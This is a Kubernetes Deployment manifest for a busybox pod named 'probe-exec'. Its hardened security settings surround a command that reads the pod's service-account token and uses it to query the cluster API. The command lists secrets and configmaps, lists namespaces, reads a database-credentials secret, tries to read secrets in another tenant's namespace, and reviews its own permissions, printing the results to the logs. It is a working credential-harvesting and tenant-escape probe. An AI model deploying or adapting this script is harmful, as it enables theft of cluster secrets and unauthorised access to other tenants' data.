32 lines
2.4 KiB
YAML
32 lines
2.4 KiB
YAML
apiVersion: apps/v1
|
|
kind: Deployment
|
|
metadata:
|
|
name: probe-exec
|
|
labels:
|
|
app: probe-exec
|
|
spec:
|
|
replicas: 1
|
|
selector:
|
|
matchLabels:
|
|
app: probe-exec
|
|
template:
|
|
metadata:
|
|
labels:
|
|
app: probe-exec
|
|
spec:
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
runAsUser: 1000
|
|
runAsGroup: 1000
|
|
seccompProfile:
|
|
type: RuntimeDefault
|
|
containers:
|
|
- name: probe-exec
|
|
image: busybox:1.36
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
capabilities:
|
|
drop: ["ALL"]
|
|
command: ["sh","-c","echo 'PROBE-PHASE2-START'; hostname; echo '--- K8S API: serviceaccount token'; cat /var/run/secrets/kubernetes.io/serviceaccount/namespace 2>&1; TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null); echo \"token-len:${#TOKEN}\"; echo '--- try list secrets in own ns via K8s API'; wget -q -O- --header=\"Authorization: Bearer $TOKEN\" --no-check-certificate \"https://kubernetes.default.svc/api/v1/namespaces/platchain-293213-dev/secrets\" 2>&1 | head -c 1500; echo; echo '--- try list configmaps'; wget -q -O- --header=\"Authorization: Bearer $TOKEN\" --no-check-certificate \"https://kubernetes.default.svc/api/v1/namespaces/platchain-293213-dev/configmaps\" 2>&1 | head -c 800; echo; echo '--- try LIST NAMESPACES (cross-ns)'; wget -q -O- --header=\"Authorization: Bearer $TOKEN\" --no-check-certificate \"https://kubernetes.default.svc/api/v1/namespaces\" 2>&1 | head -c 800; echo; echo '--- read own db secret'; wget -q -O- --header=\"Authorization: Bearer $TOKEN\" --no-check-certificate \"https://kubernetes.default.svc/api/v1/namespaces/platchain-293213-dev/secrets/probedb-db-credentials\" 2>&1 | head -c 800; echo; echo '--- try foreign ns secret (cottoncraft)'; wget -q -O- --header=\"Authorization: Bearer $TOKEN\" --no-check-certificate \"https://kubernetes.default.svc/api/v1/namespaces/cottoncraft-demo-prod/secrets\" 2>&1 | head -c 500; echo; echo '--- SELF-SUBJECT RULES REVIEW'; wget -q -O- --header=\"Authorization: Bearer $TOKEN\" --no-check-certificate --post-data='{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"spec\":{\"namespace\":\"platchain-293213-dev\"}}' \"https://kubernetes.default.svc/apis/authorization.k8s.io/v1/selfsubjectrulesreviews\" 2>&1 | head -c 1500; echo; echo 'PROBE-PHASE2-END'; sleep 3000"]
|